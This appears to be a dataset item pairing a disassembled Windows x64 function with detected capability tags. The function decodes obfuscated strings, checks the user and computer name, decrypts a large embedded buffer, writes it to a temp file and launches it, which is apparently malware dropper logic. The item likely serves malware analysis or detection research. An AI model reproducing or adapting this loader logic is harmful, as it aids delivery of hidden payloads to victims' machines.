Function at 0x1400023b0
Capabilities:
Create process on windows
Get common file path
Get hostname
Get session user name
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rdi
push r13
push r15
lea rbp, [rsp - 0x338]
sub rsp, 0x438
mov rax, qword [0x140034010]
xor rax, rsp
mov qword [rbp + 0x320], rax
call fcn.140001500
lea rdx, [rbp + 0x210]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
movabs rax, 0xf711d707788de18a
movabs rcx, 0xa56519ef650270b6
mov qword [rsp + 0x50], rax
xor r15d, r15d
mov rax, qword [rsp + 0x50]
movabs r13, 0xb22f7839226810e4
mov qword [rbp - 0x50], rax
mov rdi, 0xffffffffffffffff
movabs rax, 0xd7014a4e47016686
mov r8, rdi
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x48], rax
movabs rax, 0x6a1898ee147459f9
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x40], rax
mov qword [rsp + 0x50], rcx
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x38], rax
movabs rax, 0x9266b2601ce892e7
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0x1f0], rax
mov qword [rsp + 0x50], r13
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0x1f8], rax
movabs rax, 0x6a1898ee14743c81
movdqa xmm0, xmmword [rbp + 0x1f0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0x200], rax
mov qword [rsp + 0x50], rcx
mov rax, qword [rsp + 0x50]
movdqa xmm1, xmmword [rbp - 0x40]
pxor xmm0, xmmword [rbp - 0x50]
mov qword [rbp + 0x208], rax
lea rax, [rbp - 0x50]
pxor xmm1, xmmword [rbp + 0x200]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0xf
inc r8
cmp byte [rax + r8], r15b
jne 0x1400024f5
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.140002e10
lea rax, [rbp + 0x210]
mov r9, rdi
inc r9
cmp byte [rax + r9], r15b
jne 0x140002515
lea r8, [rbp + 0x210]
lea rcx, [rbp - 0x30]
call fcn.140003270
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x80], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x14000258c
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002587
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002587
call fcn.1400177cc
int3
call fcn.14000375c
mov qword [rsp + 0x460], rbx
mov ecx, 0x20
mov qword [rsp + 0x468], rsi
mov qword [rsp + 0x470], r12
mov qword [rsp + 0x430], r14
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], r15b
mov dword [rsp + 0x60], 0xdd4cca73
mov dword [rsp + 0x64], 0x16703ee
mov dword [rsp + 0x68], 0xe74e0751
mov dword [rsp + 0x6c], 0xcf8618d2
mov dword [rsp + 0x70], 0xf3aaa24e
mov dword [rsp + 0x74], 0x385a69ee
mov dword [rsp + 0x78], 0x13eaa7d6
mov dword [rsp + 0x7c], 0x88e163ab
call fcn.140003720
mov r8d, 0x20
mov qword [rbp + 0xf0], rax
lea rdx, [rsp + 0x60]
mov rcx, rax
lea rbx, [rax + 0x20]
mov qword [rbp + 0x100], rbx
call fcn.140014a60
mov ecx, 8
mov qword [rbp + 0xf8], rbx
mov dword [rsp + 0x58], 0x79c74177
mov dword [rsp + 0x5c], 0xaa79ffa2
call fcn.140003720
mov rcx, qword [rsp + 0x58]
movdqa xmm0, xmmword [0x140030dc0]
mov qword [rbp + 0xd8], rax
lea rdx, [rax + 8]
mov qword [rbp + 0xe8], rdx
mov qword [rax], rcx
lea rcx, [rbp + 0xb8]
mov qword [rbp + 0xe0], rdx
lea rdx, [rbp + 0x68]
mov qword [rbp + 0xb8], r15
movdqu xmmword [rbp + 0xc8], xmm0
mov dword [rbp + 0x68], 0x7fff
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
movdqa xmm0, xmmword [0x140030dc0]
lea rdx, [rbp + 0x6c]
lea rcx, [rbp + 0x98]
mov dword [rbp + 0x6c], 0x10
movdqu xmmword [rbp + 0xa8], xmm0
mov qword [rbp + 0x98], r15
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp qword [rbp + 0xb0], 0x10
lea r14, [rbp + 0x98]
mov rsi, qword [rbp + 0xa8]
movabs r12, 0x7fffffffffffffff
cmovae r14, qword [rbp + 0x98]
cmp rsi, 0x10
jae 0x14000270b
movups xmm0, xmmword [r14]
mov qword [rbp + 8], 0xf
movups xmmword [rbp - 0x10], xmm0
jmp 0x14000277b
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
cmova rbx, r12
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002755
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400027d9
mov rcx, rax
call fcn.140003720
mov rcx, rax
test rax, rax
je 0x1400027fd
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140002764
test rcx, rcx
je 0x140002761
call fcn.140003720
jmp 0x140002764
mov rax, r15
lea r8, [rsi + 1]
mov qword [rbp - 0x10], rax
mov rdx, r14
mov rcx, rax
call fcn.140014a60
mov qword [rbp + 8], rbx
cmp qword [rbp + 0xd0], 0x10
lea r14, [rbp + 0xb8]
mov qword [rbp], rsi
mov rsi, qword [rbp + 0xc8]
cmovae r14, qword [rbp + 0xb8]
cmp rsi, 0x10
jae 0x1400027b5
movups xmm0, xmmword [r14]
mov qword [rbp + 0x28], 0xf
movups xmmword [rbp + 0x10], xmm0
jmp 0x140002829
mov rbx, rsi
or rbx, 0xf
cmp rbx, r12
cmova rbx, r12
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140002803
lea rax, [rcx + 0x27]
cmp rax, rcx
ja 0x1400027df
call fcn.140001110
int3
mov rcx, rax
call fcn.140003720
mov rcx, rax
test rax, rax
je 0x1400027fd
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140002812
call fcn.1400177cc
int3
test rcx, rcx
je 0x14000280f
call fcn.140003720
jmp 0x140002812
mov rax, r15
lea r8, [rsi + 1]
mov qword [rbp + 0x10], rax
mov rdx, r14
mov rcx, rax
call fcn.140014a60
mov qword [rbp + 0x28], rbx
lea rdx, [rbp - 0x10]
mov qword [rbp + 0x20], rsi
lea rcx, [rbp + 0x10]
call fcn.1400018c0
test eax, eax
jne 0x140002c5b
cmp qword [rbp + 0x88], 0x10
lea rcx, [rbp + 0x70]
mov qword [rsp + 0x30], r15
mov edx, 0x40000000
cmovae rcx, qword [rbp + 0x70]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, 0x186a0
mov r14, rax
call fcn.1400182f0
call fcn.140001580
mov ecx, 0x12a627
call fcn.140003720
test rax, rax
je 0x140002c55
lea rcx, [rax + 0x27]
xor edx, edx
and rcx, 0xffffffffffffffe0
mov r8d, 0x12a600
mov qword [rcx - 8], rax
lea rbx, [rcx + 0x12a600]
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x50], rcx
call fcn.140014870
xorps xmm0, xmm0
mov qword [rbp + 0x58], rbx
lea r8, [rbp + 0xd8]
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x140]
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm0
call fcn.1400011b0
mov rsi, qword [rbp + 0x58]
mov rbx, qword [0x140035f18]
mov r8, rsi
mov rdx, qword [0x140035f10]
mov rcx, qword [rbp + 0x50]
sub rbx, rdx
sub r8, rcx
cmp rbx, r8
jae 0x140002926
lea rax, [rcx + rbx]
jmp 0x14000296c
jbe 0x140002970
mov rax, qword [rbp + 0x60]
sub rax, rcx
cmp rbx, rax
jbe 0x14000294d
mov rdx, rbx
lea rcx, [rbp + 0x50]
call fcn.140001370
mov rdx, qword [0x140035f10]
mov rcx, qword [rbp + 0x50]
jmp 0x140002970
sub rbx, r8
xor edx, edx
mov r8, rbx
mov rcx, rsi
call fcn.140014870
mov rdx, qword [0x140035f10]
lea rax, [rsi + rbx]
mov rcx, qword [rbp + 0x50]
mov qword [rbp + 0x58], rax
mov r8, qword [0x140035f18]
mov rax, qword [rbp + 0x140]
sub r8, rdx
mov r9, qword [rbp + 0x158]
mov qword [rsp + 0x20], rax
call fcn.1400044b0
mov r8d, dword [rbp + 0x58]
lea r9, [rbp + 0x90]
mov rdx, qword [rbp + 0x50]
mov rcx, r14
sub r8d, edx
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, eax
test eax, eax
jne 0x1400029c1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rax, 0x9203df017b8de5ca
lea rdx, [0x140030a44]
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0x30]
mov rax, qword [rsp + 0x50]
mov r8d, 1
mov qword [rbp - 0x80], rax
mov qword [rsp + 0x50], r13
mov rax, qword [rsp + 0x50]
mov qword [rbp - 0x78], rax
movabs rax, 0x9266b2601ce892e7
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0x1e0], rax
mov qword [rsp + 0x50], r13
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0x1e8], rax
movdqa xmm0, xmmword [rbp + 0x1e0]
pxor xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm0
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], 0xf
call fcn.140002e10
cmp qword [rbp + 0x88], 0x10
lea r8, [rbp + 0x70]
mov r9, qword [rbp + 0x80]
lea rcx, [rbp + 0x30]
cmovae r8, qword [rbp + 0x70]
call fcn.140003270
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
lea rax, [rbp - 0x80]
inc rdi
cmp byte [rax + rdi], r15b
jne 0x140002a97
mov rdx, qword [rbp - 0x58]
mov rcx, qword [rbp - 0x60]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x140002ae4
cmp rdx, 0x10
lea rax, [rcx + rdi]
lea rbx, [rbp - 0x70]
mov qword [rbp - 0x60], rax
cmovae rbx, qword [rbp - 0x70]
lea rdx, [rbp - 0x80]
add rbx, rcx
mov r8, rdi
mov rcx, rbx
call fcn.140014a60
lea rax, [rbp - 0x70]
mov byte [rdi + rbx], r15b
jmp 0x140002af9
lea r9, [rbp - 0x80]
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rbp - 0x70]
call fcn.1400030e0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x108], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x118], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140002b54
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b4f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002b96
call fcn.14000375c
mov rdx, qword [rbp + 0x48]
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r15b
cmp rdx, 0x10
jb 0x140002ba1
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002b9c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002b9c
call fcn.1400177cc
int3
call fcn.14000375c
xorps xmm0, xmm0
mov dword [rbp + 0x170], 0x68
xor eax, eax
mov rcx, r14
movups xmmword [rbp + 0x174], xmm0
mov dword [rbp + 0x1d4], eax
movups xmmword [rbp + 0x184], xmm0
mov qword [rbp + 0x138], rax
movups xmmword [rbp + 0x194], xmm0
movups xmmword [rbp + 0x1a4], xmm0
movups xmmword [rbp + 0x1b4], xmm0
movups xmmword [rbp + 0x1c4], xmm0
movups xmmword [rbp + 0x128], xmm0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x120], 0x10
lea rax, [rbp + 0x128]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x108]
cmovae rdx, qword [rbp + 0x108]
lea rax, [rbp + 0x170]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], r15
xor r8d, r8d
mov qword [rsp + 0x30], r15
xor ecx, ecx
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140002c5b
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1400177cc
int3
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]